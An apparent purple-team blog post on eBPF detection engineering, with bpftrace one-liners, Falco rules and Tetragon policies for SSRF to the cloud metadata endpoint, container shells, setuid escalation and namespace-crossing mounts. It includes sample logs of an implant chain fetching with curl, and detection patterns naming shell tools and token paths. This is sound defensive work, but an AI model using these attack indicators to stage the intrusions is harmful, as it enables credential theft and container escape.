pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam-role-chaining/">Cloud lateral movement</a> → <strong>Detection Engineering with eBPF</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> addresses OWASP A09 directly: most process-level attack techniques leave no trace in CloudTrail, VPC Flow Logs, or syslog — eBPF hooks in the kernel observe them before the attacker has any ability to suppress the record</li>
<li>CloudTrail is API-plane only; VPC Flow Logs are network-plane only with a 15-minute aggregation delay and no process context; syslog captures only what userspace processes voluntarily emit — all three miss the OS-level attack surface entirely</li>
<li>eBPF attaches to kernel syscall tracepoints and kprobes to capture <code class="" data-line="">connect()</code>, <code class="" data-line="">execve()</code>, <code class="" data-line="">mount()</code>, <code class="" data-line="">setuid()</code>, and <code class="" data-line="">open()</code> with full context: PID, process name, container cgroup, parent process, timestamp — in real time</li>
<li>Falco and Tetragon are the production-grade always-on options; bpftrace is the ad-hoc investigation tool — use each for what it is designed for</li>
<li>Tetragon&#8217;s <code class="" data-line="">TracingPolicy</code> can kill a process at the moment of the violating syscall, before the attack completes — this is enforcement, not just alerting</li>
<li>Every attack in EP07 through EP10 has a detectable kernel-level signal; this episode maps each one to a concrete eBPF detection rule</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A09 Security Logging and Monitoring Failures — the structural gap this series has referenced from EP04 onward: attacks that succeed not because defenses are absent, but because the telemetry layer cannot see the OS surface where the attacks execute.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                  DETECTION ENGINEERING WITH eBPF                        │
│                                                                         │
│   KERNEL SPACE                          USERSPACE                       │
│                                                                         │
│   syscall/kprobe hooks                                                  │
│   ┌──────────────────┐                                                  │
│   │ connect()        │──&#x25b6; ring buffer ──&#x25b6; Tetragon ──&#x25b6; Hubble/SIEM     │
│   │ execve()         │                                                  │
│   │ mount()          │──&#x25b6; ring buffer ──&#x25b6; Falco   ──&#x25b6; Slack/PagerDuty │
│   │ setuid()         │                                                  │
│   │ open()           │──&#x25b6; perf buffer ──&#x25b6; bpftrace ──&#x25b6; stdout/log     │
│   └──────────────────┘                                                  │
│          │                                                              │
│          │  Context captured at hook:                                   │
│          │  PID · comm · cgroup (container ID) · args · timestamp      │
│          │  parent PID · network namespace · mount namespace           │
│                                                                         │
│   ═══════════════════════════════════════════════════════════           │
│   WHAT OTHER TOOLS SEE                                                  │
│   CloudTrail:     API calls only — nothing below the AWS SDK            │
│   VPC Flow Logs:  src/dst IP+port only — 15-min delay, no PID          │
│   Syslog:         What the process chose to log — attacker controls it  │
│   eBPF:           Every syscall — attacker cannot suppress it          │
│                   without kernel access                                 │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Detection engineering with eBPF</strong> closes the observability gap that every previous episode in this series exploited. The SSRF in EP07 made an outbound connection to 169.254.169.254 — the EC2 metadata endpoint — from a web application process. VPC Flow Logs show that IP eventually. CloudTrail shows nothing. eBPF shows the <code class="" data-line="">connect()</code> syscall with the PID, the process name, the container cgroup ID, and the timestamp, in the sub-millisecond window it occurred.</p>
<hr />
<h2 id="the-problem-your-siem-has-a-15-minute-hole">The Problem: Your SIEM Has a 15-Minute Hole</h2>
<p>During a cloud incident response engagement, the question came up in the first hour: did this process make any outbound connections in the last 30 minutes?</p>
<p>Four telemetry sources, four answers:</p>
<p><strong>CloudTrail:</strong> Not applicable. CloudTrail records AWS API calls. A process inside an EC2 instance making a raw TCP connection to an external IP — or to the metadata endpoint — is OS-level activity. CloudTrail has no record of it.</p>
<p><strong>VPC Flow Logs:</strong> Maybe, eventually. Flow Logs aggregate at 1-minute or 10-minute intervals (configurable), then land in S3 or CloudWatch Logs with additional delay. In practice, you&#8217;re looking at 10–15 minutes before the data is queryable. The flow record contains source IP, destination IP, source port, destination port, protocol, bytes, packets — and nothing else. There is no PID. There is no process name. There is no indication of which container inside the EC2 instance made the connection. If ten pods are running on the same node, VPC Flow Logs tells you the node talked to an external IP. You don&#8217;t know which pod.</p>
<p><strong>Syslog:</strong> Nothing logged. The process — a compromised web application exploited via SSRF — didn&#8217;t log the connection. It wouldn&#8217;t. Application code doesn&#8217;t emit syslog entries for every outbound connection it makes. And an attacker controlling the process would not add logging.</p>
<p><strong>eBPF TC hook:</strong> Every TCP connection attempt, from the moment it entered the network stack, with PID, process name, container cgroup ID, destination IP, destination port, source IP, and timestamp — in real time, with zero delay.</p>
<p>That is the gap. Everything in EP04 through EP10 of this series lived in it.</p>
<p>The OWASP A09 framing is exactly right: these are not failures of detection rules, they are failures of the telemetry layer. You cannot write a SIEM rule for data that is never collected. eBPF collects the data that the other layers structurally cannot.</p>
<hr />
<h2 id="what-ebpf-detects-that-other-tools-miss">What eBPF Detects That Other Tools Miss</h2>
<table>
<thead>
<tr>
<th>Technique</th>
<th>CloudTrail</th>
<th>VPC Flow Logs</th>
<th>Syslog</th>
<th>eBPF</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process spawn inside container</td>
<td>No</td>
<td>No</td>
<td>Maybe (if auditd configured)</td>
<td>Yes — execve(): PID, command, args, parent PID, container cgroup</td>
</tr>
<tr>
<td>Outbound TCP connection</td>
<td>No</td>
<td>IP+port, 15-min delay, no PID</td>
<td>No</td>
<td>connect(): IP+port+PID+comm+container, real-time</td>
</tr>
<tr>
<td>File write to /etc/passwd</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat()+write(): exact path, PID, comm, container</td>
</tr>
<tr>
<td>Privilege escalation (setuid/setgid)</td>
<td>No</td>
<td>No</td>
<td>Maybe (auditd)</td>
<td>Yes — setuid() syscall args: target UID, calling PID, comm</td>
</tr>
<tr>
<td>Container escape attempt via mount</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>mount(): args, mount namespace ID, calling PID — namespace mismatch detectable</td>
</tr>
<tr>
<td>SSRF to 169.254.169.254</td>
<td>No</td>
<td>IP only, 15-min delay</td>
<td>No</td>
<td>connect() from app process to metadata IP — PID, comm, container, real-time</td>
</tr>
<tr>
<td>Binary execution with unusual parent</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>execve(): full parent chain — detects shell spawned from web process</td>
</tr>
<tr>
<td>Kubernetes secret file read</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat() on /run/secrets/kubernetes.io/serviceaccount/token</td>
</tr>
<tr>
<td>STS credential fetch from Lambda</td>
<td>No</td>
<td>Endpoint IP only</td>
<td>No</td>
<td>connect() to sts.amazonaws.com from unexpected process</td>
</tr>
</tbody>
</table>
<p>The pattern across the table is consistent: CloudTrail covers the AWS control plane. VPC Flow Logs cover the network plane with delay and no process context. Syslog covers what processes choose to emit. eBPF covers the syscall surface — the layer where every one of these events must pass, regardless of what the attacker wants.</p>
<blockquote>
<p><strong>For operators not writing eBPF:</strong> This table tells you what your current SIEM can and cannot see. If your threat model includes container escapes, SSRF-to-metadata attacks, or post-compromise lateral movement through process execution, the detection signal for those techniques does not exist in your CloudTrail or your flow logs. It exists only at the kernel level.</p>
</blockquote>
<hr />
<h2 id="detection-rule-1-unexpected-outbound-from-an-application-container">Detection Rule 1: Unexpected Outbound from an Application Container</h2>
<p>The SSRF attack in EP07 — and the lateral movement in EP10 — both required an outbound TCP connection from a process that had no legitimate reason to make one. This is the detection.</p>
<h3 id="ad-hoc-investigation-with-bpftrace">Ad-hoc investigation with bpftrace</h3>
<p>When you&#8217;re on a node right now and need to know what&#8217;s connecting outbound:</p>
<pre><code class="" data-line=""># Shows PID, process name, and destination IP in real time
# Run on the node (requires root or CAP_BPF)
bpftrace -e &#039;
#include &lt;linux/socket.h&gt;
#include &lt;linux/in.h&gt;

tracepoint:syscalls:sys_enter_connect {
  $sa = (struct sockaddr_in *)args-&gt;uservaddr;
  if ($sa-&gt;sin_family == AF_INET) {
    printf(&quot;connect: pid=%-6d comm=%-20s dst=%s:%d\n&quot;,
           pid,
           comm,
           ntop($sa-&gt;sin_addr.s_addr),
           (uint16)bswap($sa-&gt;sin_port));
  }
}
&#039;
</code></pre>
<p>Sample output — what you&#8217;d see during an SSRF exploit targeting the EC2 metadata service:</p>
<pre><code class="" data-line="">connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18432  comm=curl                 dst=169.254.169.254:80
</code></pre>
<p>The <code class="" data-line="">python3</code> process — your web application — connecting to <code class="" data-line="">169.254.169.254</code> is the metadata endpoint. That&#8217;s not a legitimate application dependency. That&#8217;s the SSRF signal.</p>
<blockquote>
<p><strong><a href="/bpftrace-kernel-observability/">bpftrace — kernel answers in one line</a></strong> goes deep on the tracepoint/kprobe model and how to filter by cgroup for container-specific traces. The one-liners above are the starting point; that post covers building targeted investigation scripts.</p>
</blockquote>
<h3 id="production-grade-enforcement-with-tetragon">Production-grade enforcement with Tetragon</h3>
<p>bpftrace is for investigation. Tetragon is for always-on detection — and optionally, prevention.</p>
<pre><code class="" data-line=""># TracingPolicy: alert on outbound connections from non-host network namespaces
# (any container making outbound TCP connections)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-outbound-connections&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchNamespaces:
      - namespace: Net
        operator: NotIn
        values:
        - &quot;host&quot;
      matchActions:
      - action: Post   # Generate an alert event; change to Sigkill to prevent
</code></pre>
<p>To detect specifically the SSRF-to-metadata pattern — connections to <code class="" data-line="">169.254.169.254</code>:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-imds-access&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchArgs:
      - index: 0
        operator: &quot;Equal&quot;
        values:
        - &quot;169.254.169.254/32&quot;
      matchActions:
      - action: Post
        rateLimit: &quot;1/minute&quot;
</code></pre>
<p>Tetragon events include <code class="" data-line="">process_kprobe</code> JSON with the pod name, namespace, container ID, binary path, parent binary, and all arguments. This feeds directly into your SIEM or to Hubble&#8217;s flow log.</p>
<hr />
<h2 id="detection-rule-2-process-execution-inside-a-container">Detection Rule 2: Process Execution Inside a Container</h2>
<p>A shell spawning inside a container that has no business running a shell is a post-compromise indicator. It covers the container escape setup from EP08, the supply chain implant from EP09, and any hands-on-keyboard phase after initial access.</p>
<h3 id="falco-rule-shell-spawned-from-application-container">Falco rule: shell spawned from application container</h3>
<pre><code class="" data-line=""># Falco rule: detect any shell spawned in a container
# Add to /etc/falco/rules.d/purple-team.yaml
- list: shell_binaries
  items: [bash, sh, zsh, ksh, fish, tcsh, csh, dash]

- list: allowed_shell_images
  items: [
    &quot;debug-tools&quot;,     # Your approved debug container image names
    &quot;toolbox&quot;
  ]

- rule: Shell Spawned in Container
  desc: &gt;
    A shell was spawned inside a container. In application containers (web servers,
    APIs, data processors) this is almost always a post-compromise indicator.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    container.image.repository != &quot;&quot; and
    proc.name in (shell_binaries) and
    not proc.pname in (shell_binaries) and
    not container.image.repository in (allowed_shell_images) and
    not k8s.ns.name in (kube-system, kube-public)
  output: &gt;
    Shell spawned in container
    (user=%user.name
     container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline
     parent=%proc.pname
     pod=%k8s.pod.name
     ns=%k8s.ns.name)
  priority: WARNING
  tags: [purple-team, post-compromise, container]
</code></pre>
<p>The <code class="" data-line="">proc.pname</code> condition is the key signal: a shell spawned by a web server process (<code class="" data-line="">nginx</code>, <code class="" data-line="">node</code>, <code class="" data-line="">gunicorn</code>, <code class="" data-line="">java</code>) is a different threat than a shell spawned by another shell in a debug context. The rule above passes the second case through the <code class="" data-line="">allowed_shell_images</code> exclusion; it flags the first.</p>
<h3 id="detecting-the-supply-chain-implant-pattern">Detecting the supply chain implant pattern</h3>
<p>EP09 covered supply chain attacks where a build artifact executes unexpected binaries at runtime. The bpftrace version for ad-hoc investigation of what a specific container is executing:</p>
<pre><code class="" data-line=""># bpftrace: trace all execve() calls from processes inside a specific container
# First, find the container&#039;s cgroup ID:
# systemd-cgls | grep &lt;pod-name&gt;
# Or: cat /sys/fs/cgroup/unified/&lt;cgroup-path&gt;/cgroup.procs

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  printf(&quot;execve: pid=%-6d ppid=%-6d comm=%-20s file=%s\n&quot;,
         pid,
         curtask-&gt;real_parent-&gt;tgid,
         comm,
         str(args-&gt;filename));
}
&#039; 2&gt;/dev/null | grep -v &quot;^\[&quot; | head -50
</code></pre>
<p>Sample output during a supply chain compromise scenario — unexpected binary execution from a package manager implant:</p>
<pre><code class="" data-line="">execve: pid=31204  ppid=31190  comm=node                 file=/bin/sh
execve: pid=31205  ppid=31204  comm=sh                   file=/tmp/.x/beacon
execve: pid=31206  ppid=31205  comm=beacon               file=/usr/bin/curl
</code></pre>
<p>The chain <code class="" data-line="">node → sh → /tmp/.x/beacon → curl</code> — application process spawning a shell, which executes an unknown binary from <code class="" data-line="">/tmp</code>, which runs <code class="" data-line="">curl</code> — is the supply chain implant execution pattern. None of this appears in CloudTrail.</p>
<hr />
<h2 id="detection-rule-3-privilege-escalation-setuid0-and-capability-abuse">Detection Rule 3: Privilege Escalation — setuid(0) and Capability Abuse</h2>
<p>A process calling <code class="" data-line="">setuid(0)</code> to elevate to root, or <code class="" data-line="">setcap</code> to acquire new capabilities, is a privilege escalation indicator. The EP08 container escape path used a setuid binary to gain root inside the container as the first step toward escaping the namespace.</p>
<h3 id="bpftrace-catch-setuid0-calls-in-real-time">bpftrace: catch setuid(0) calls in real time</h3>
<pre><code class="" data-line=""># bpftrace: alert on any process calling setuid(0)
# Any process attempting to switch to UID 0
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_setuid {
  if (args-&gt;uid == 0) {
    printf(&quot;ALERT setuid(0): pid=%-6d comm=%-20s ppid=%d pcomm=%s\n&quot;,
           pid,
           comm,
           curtask-&gt;real_parent-&gt;tgid,
           str(curtask-&gt;real_parent-&gt;comm));
  }
}
tracepoint:syscalls:sys_enter_setresuid {
  if (args-&gt;ruid == 0 || args-&gt;euid == 0) {
    printf(&quot;ALERT setresuid(root): pid=%-6d comm=%-20s\n&quot;, pid, comm);
  }
}
&#039;
</code></pre>
<h3 id="falco-rule-setuid-binary-execution-inside-container">Falco rule: setuid binary execution inside container</h3>
<pre><code class="" data-line="">- rule: Setuid Binary Executed in Container
  desc: &gt;
    A setuid binary was executed inside a container. Setuid binaries inside
    containers are a privilege escalation path — they run as root regardless
    of the container&#039;s user setting.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    proc.is_suid_exe = true
  output: &gt;
    Setuid binary executed in container
    (binary=%proc.exepath
     user=%user.name
     container=%container.name
     pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: ERROR
  tags: [purple-team, privilege-escalation, container]
</code></pre>
<hr />
<h2 id="detection-rule-4-container-escape-attempt-via-namespace-crossing-mount">Detection Rule 4: Container Escape Attempt via Namespace-Crossing Mount</h2>
<p>The privileged container escape path from EP08 requires calling <code class="" data-line="">mount()</code> from a container namespace to access the host filesystem. The kernel records the mount namespace of the calling process — an eBPF kprobe on <code class="" data-line="">mount()</code> can detect when the caller&#8217;s mount namespace differs from the host namespace.</p>
<h3 id="tetragon-policy-kill-any-mount-from-a-non-host-namespace">Tetragon policy: kill any mount from a non-host namespace</h3>
<pre><code class="" data-line=""># This covers the --privileged container escape path documented in EP08
# The mount() call that crosses from container namespace to host filesystem
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-container-mount-escape&quot;
spec:
  kprobes:
  - call: &quot;security_sb_mount&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;string&quot;     # dev_name
    - index: 3
      type: &quot;string&quot;     # mount flags
    selectors:
    - matchNamespaces:
      - namespace: Mnt
        operator: NotIn
        values:
        - &quot;host&quot;
      matchArgs:
      - index: 0
        operator: &quot;NotEqual&quot;
        values:
        - &quot;proc&quot;
        - &quot;sysfs&quot;
        - &quot;tmpfs&quot;        # Common legitimate mounts in containers
      matchActions:
      - action: Sigkill
        rateLimit: &quot;10/minute&quot;
</code></pre>
<p>Start with <code class="" data-line="">action: Post</code> and tune the exclusions for your environment before switching to <code class="" data-line="">Sigkill</code>. See the production gotchas below.</p>
<h3 id="bpftrace-ad-hoc-namespace-crossing-investigation">bpftrace: ad-hoc namespace crossing investigation</h3>
<pre><code class="" data-line=""># bpftrace: trace mount() calls and show the mount namespace of the caller
# Mount namespace ID of the host: read from /proc/1/ns/mnt
HOST_MNT_NS=$(readlink /proc/1/ns/mnt | grep -oP &#039;\d+&#039;)

bpftrace -e &#039;
#include &lt;linux/nsproxy.h&gt;
#include &lt;linux/mount.h&gt;

kprobe:__x64_sys_mount {
  $nsproxy = (struct nsproxy *)curtask-&gt;nsproxy;
  $mnt_ns_id = $nsproxy-&gt;mnt_ns-&gt;ns.inum;
  printf(&quot;mount: pid=%-6d comm=%-20s mnt_ns=%u\n&quot;,
         pid, comm, $mnt_ns_id);
}
&#039; 2&gt;/dev/null
</code></pre>
<p>Compare the <code class="" data-line="">mnt_ns</code> value in output against <code class="" data-line="">$HOST_MNT_NS</code>. Any mount call with a <code class="" data-line="">mnt_ns</code> value other than the host&#8217;s is from inside a container. A privileged container attempting host filesystem access shows a container namespace ID.</p>
<hr />
<h2 id="building-a-detection-pipeline">Building a Detection Pipeline</h2>
<p>Ad-hoc bpftrace commands answer questions during an incident. Always-on detection requires a pipeline that runs continuously, routes alerts to a durable destination, and survives pod restarts. The two production-grade options in this stack:</p>
<pre><code class="" data-line="">eBPF hooks
    │
    ├── Tetragon (always-on, Kubernetes-native)
    │       └── TracingPolicy CRDs
    │               └── JSON events → Hubble → Grafana
    │                               → SIEM (Splunk/Elastic)
    │                               → PagerDuty
    │
    └── Falco (rule-based, declarative)
            └── /etc/falco/rules.d/*.yaml
                    └── falcosidekick
                            ├── Slack
                            ├── PagerDuty
                            ├── Elasticsearch
                            └── AWS Lambda (custom response)
</code></pre>
<p>The <a href="/ebpf-tc-pod-policy/">TC eBPF pod-level network policy</a> post covers how Cilium and Tetragon share the same underlying kernel attachment points — understanding TC hooks helps explain why Tetragon&#8217;s network-level policies fire at the same layer as Cilium&#8217;s NetworkPolicy enforcement.</p>
<h3 id="falco-with-falcosidekick-complete-local-testing-setup">Falco with falcosidekick: complete local testing setup</h3>
<p>Use this to validate your Falco rules before deploying to a cluster. It routes Falco alerts to Slack in real time.</p>
<pre><code class="" data-line=""># docker-compose.yml — local Falco + falcosidekick testing
# Requires: Docker with kernel headers or eBPF driver support
version: &quot;3.8&quot;

services:
  falco:
    image: falcosecurity/falco-no-driver:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /dev:/host/dev
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - /usr:/host/usr:ro
      - /etc/falco:/etc/falco
      - ./rules:/etc/falco/rules.d:ro
    environment:
      FALCO_GRPC_ENABLED: &quot;true&quot;
      FALCO_GRPC_BIND_ADDRESS: &quot;0.0.0.0:5060&quot;
    ports:
      - &quot;5060:5060&quot;
    command: &gt;
      /usr/bin/falco
        --modern-bpf
        -o &quot;json_output=true&quot;
        -o &quot;grpc.enabled=true&quot;
        -o &quot;grpc_output.enabled=true&quot;

  falcosidekick:
    image: falcosecurity/falcosidekick:latest
    depends_on:
      - falco
    environment:
      FALCO_GRPC_CONN: &quot;falco:5060&quot;
      FALCO_GRPC_TLS: &quot;false&quot;
      SLACK_WEBHOOKURL: &quot;${SLACK_WEBHOOK}&quot;
      SLACK_MINIMUMPRIORITY: &quot;warning&quot;
      SLACK_MESSAGEFORMAT: &gt;
        &quot;[{{.Priority}}] {{.Rule}}
        | pod={{.OutputFields.k8s_pod_name}}
        | ns={{.OutputFields.k8s_ns_name}}
        | cmd={{.OutputFields.proc_cmdline}}&quot;
    ports:
      - &quot;2801:2801&quot;
</code></pre>
<pre><code class="" data-line=""># Start the stack (set SLACK_WEBHOOK first)
export SLACK_WEBHOOK=&quot;https://hooks.slack.com/services/YOUR/WEBHOOK/URL&quot;
docker compose up -d

# Trigger a test alert: exec into any running container
docker exec -it &lt;any-container&gt; /bin/sh

# Check falcosidekick received it
curl -s http://localhost:2801/metrics | grep falcosidekick_inputs_total
</code></pre>
<h3 id="deploying-falco-to-kubernetes-with-helm">Deploying Falco to Kubernetes with Helm</h3>
<pre><code class="" data-line=""># Add Falco Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with eBPF driver (not kernel module — required in Kubernetes)
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl=&quot;${SLACK_WEBHOOK}&quot; \
  --set falcosidekick.config.slack.minimumpriority=warning \
  --set customRules.&quot;purple-team\.yaml&quot;=&quot;$(cat ./rules/purple-team.yaml)&quot;

# Verify Falco pods are running on all nodes
kubectl get pods -n falco -o wide

# Tail Falco logs for a specific node&#039;s pod
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
</code></pre>
<pre><code class="" data-line=""># Validate a specific rule is loaded
kubectl exec -n falco &lt;falco-pod&gt; -- falco --list-rules 2&gt;/dev/null | grep &quot;Shell Spawned&quot;
</code></pre>
<hr />
<h2 id="what-this-means-for-each-prior-attack">What This Means for Each Prior Attack</h2>
<p>Every attack in EP07 through EP10 had a detectable kernel-level signal that the standard telemetry stack missed. Here&#8217;s the detection mapping:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>Attack</th>
<th>What Standard Telemetry Missed</th>
<th>eBPF Detection Signal</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP07</td>
<td>SSRF to EC2 IMDS</td>
<td>CloudTrail: nothing. VPC Flow Logs: 169.254.169.254 destination, 15-min delay, no PID</td>
<td>TC kprobe: <code class="" data-line="">connect()</code> to <code class="" data-line="">169.254.169.254</code> from app process — PID, comm, container, real-time</td>
</tr>
<tr>
<td>EP08</td>
<td>Container escape via privileged mount</td>
<td>CloudTrail: nothing. Syslog: nothing</td>
<td>kprobe: <code class="" data-line="">security_sb_mount()</code> from non-host mount namespace — namespace ID mismatch fires alert</td>
</tr>
<tr>
<td>EP09</td>
<td>Supply chain implant execution</td>
<td>CloudTrail: nothing (OS-level). GuardDuty: maybe if beacon calls AWS APIs</td>
<td>kprobe: <code class="" data-line="">execve()</code> with anomalous parent chain — web process → shell → unknown binary from <code class="" data-line="">/tmp</code></td>
</tr>
<tr>
<td>EP10</td>
<td>Lateral movement via cross-account role chaining</td>
<td>CloudTrail: AssumeRole events present but no process context</td>
<td>TC hook: <code class="" data-line="">connect()</code> to <code class="" data-line="">sts.amazonaws.com</code> from Lambda handler process — unexpected process identity</td>
</tr>
</tbody>
</table>
<p>The table is not theoretical. It reflects what you would actually observe running these detection rules against the attack simulations in those episodes.</p>
<p>For the SSRF case (EP07): the connection to <code class="" data-line="">169.254.169.254</code> from the web application process would fire within milliseconds of the exploit. VPC Flow Logs would record the same IP 10–15 minutes later, with no information about which process made it. By the time the flow log is queryable, the attacker has the IAM credentials and may have made subsequent API calls in a different region.</p>
<p>For the container escape (EP08): the <code class="" data-line="">mount()</code> from a non-host mount namespace is the earliest detectable signal of the escape attempt. It fires before the attacker has host filesystem access. With <code class="" data-line="">action: Sigkill</code> in the Tetragon policy, the process is terminated at this syscall — the escape does not complete.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Use the eBPF driver for Falco in Kubernetes, not the kernel module.</strong> The kernel module requires installing a kernel module on every node, which creates a dependency on kernel headers being present and compatible. The <code class="" data-line="">modern_ebpf</code> driver (Falco 0.35+) uses BTF and CO-RE — it works on kernels 5.8+ without kernel module installation and survives kernel upgrades. In managed Kubernetes (EKS, GKE, AKS), the kernel module path often doesn&#8217;t work at all due to the OS image restrictions.</p>
<p><strong>Test Tetragon&#8217;s <code class="" data-line="">Sigkill</code> action exhaustively before enabling it in production.</strong> The <code class="" data-line="">Sigkill</code> action terminates the process at the moment of the violating syscall — before it completes. This is powerful for prevention but catastrophic if your exclusions are wrong. Common false positive sources: debug containers (<code class="" data-line="">kubectl debug</code>), init containers that perform legitimate mounts, Kubernetes admission webhooks calling shell scripts. Always deploy with <code class="" data-line="">action: Post</code> first, tune for two weeks of normal traffic, then switch to <code class="" data-line="">Sigkill</code> only on rules with zero false positives in your environment.</p>
<p><strong>bpftrace is an investigation tool, not a production detector.</strong> bpftrace compiles and loads an eBPF program per invocation — it has no persistence, no alerting, and no output routing to your SIEM. It is for the incident response scenario described in the opening: &#8220;did this process make outbound connections in the last 30 minutes?&#8221; (answered: it&#8217;s what&#8217;s happening right now). For always-on detection, use Tetragon or Falco. Running bpftrace as a daemon substitute introduces overhead without the management plane that production tools provide.</p>
<p><strong>The shell-in-container rule will fire on <code class="" data-line="">kubectl exec</code> sessions.</strong> Any time an operator runs <code class="" data-line="">kubectl exec -it &lt;pod&gt; -- /bin/bash</code>, the Falco rule above triggers. This is working as intended — <code class="" data-line="">kubectl exec</code> is a post-compromise technique as well as an operational tool. Handle this with an exclusion on the user identity or namespace:</p>
<pre><code class="" data-line=""># Add to the rule condition to exclude operator kubectl exec sessions
# Map your cluster admin users or service account here
and not user.name in (cluster-admin-users)
and not k8s.ns.name in (ops-tooling, debug-ns)
</code></pre>
<p><strong>High-frequency kprobes on hot paths add measurable overhead.</strong> Attaching to <code class="" data-line="">tcp_connect</code> fires on every outbound connection from every process on the node. On a node handling hundreds of microservices with high connection rates (service mesh with short-lived connections), this adds CPU overhead. Profile before deploying. Tetragon&#8217;s namespace-scoped selectors (<code class="" data-line="">matchNamespaces: NotHost</code>) help by skipping host-namespace processes. Filter as narrowly as your threat model allows.</p>
